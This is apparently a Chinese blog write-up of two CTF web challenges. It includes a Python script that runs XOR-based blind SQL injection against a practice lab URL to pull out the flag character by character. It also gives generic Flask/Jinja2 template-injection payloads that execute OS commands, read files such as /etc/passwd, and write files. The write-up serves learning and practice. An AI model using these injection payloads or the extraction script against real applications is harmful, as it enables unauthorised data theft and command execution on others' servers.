[CISCN2019 华北赛区 Day2 Web1]Hack World
常见的几种手工注入方法都不管用,本来想写一个脚本fuzz一下的,后面发现这玩意不仅Ban了几个关键字,最主要的是ban掉了空格和/**/还有注释符号。然后观察他的回显,输入1和2的时候会显示出两句骚话,在输入其他数字的时候会返回一个false的bool。猜测他判断的逻辑可能是ret=select id from flag;if(ret) return ret; else return 0;
这边需要用到的方法是异或注入。0^(表达式) 如果表达式为真,就相当于0^1,返回一个1,反之为0。 https://www.jianshu.com/p/27df5c67157c
我们这题就可以利用这个方法,将异或判断式放入id,如果为真,就会现实id为1的内容,反之就是显示查询错误。具体的实现是1^(ascii(substr((select(flag)from(flag)),{0},1))>{1})
{0}是第几位字符,{1}就是逐一判断的字符Ascii码。这里需要写一个python脚本。另外,尽量使用二分搜索算法(hhh没想到之前OI学的算法这里也用得着),因为逐一搜索的时间复杂度是O(len*n),而二分法的时间复杂度只有O(len*logn)
另外还有一个位运算的小技巧(虽然这里似乎用处并不大)a>>1相当于把a的二进制位右移一位,等价于将整数a除以2.
跑的代码:
import requests url="http://2a4afd3e-f25f-4c3b-9fe0-fd808557e956.node3.buuoj.cn/index.php" postdata={"id":""} result = '' for i in range(1,100): l=20;r=133 mid=(l+r)>>1 while(l<r): #二分法搜索 postdata["id"]="1^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) resoponse=requests.post(url,data=postdata) print("\rNow testing character '%c' on %dth char of the flag"%(chr(mid),i),end='') if "Error" in resoponse.text: l = mid + 1 else: r = mid mid = (l + r) >> 1 if(chr(mid)==''): break print("\nFound the %dth char of the flag is %c"%(i,chr(mid))) result+=chr(mid) print("\nflag:"+result)
[BJDCTF 2nd]fake google
这题是一个没有任何过滤拦截的ssti
SSTI(Server-Side Template Injetion,服务端模板注入) 主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。 ( https://xz.aliyun.com/t/3679 )
打开靶机里面只有一个框,输入啥下个页面就显示啥。尝试了一下{{1+1}}发现会显示2,说明可能存在SSTI(括号内会进行运算)
这个时候就可以使用py中的os模块来进行系统命令操作了。下面是flask的SSTI注入模板( https://blog.csdn.net/qq_40657585/article/details/83657220 )
#py3命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()") }}{% endif %}{% endfor %} #py3文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html #py2读文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} #py2写文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
顺带,这个工具可以适应更多的一些环境: https://github.com/epinna/tplmap
Comments | NOTHING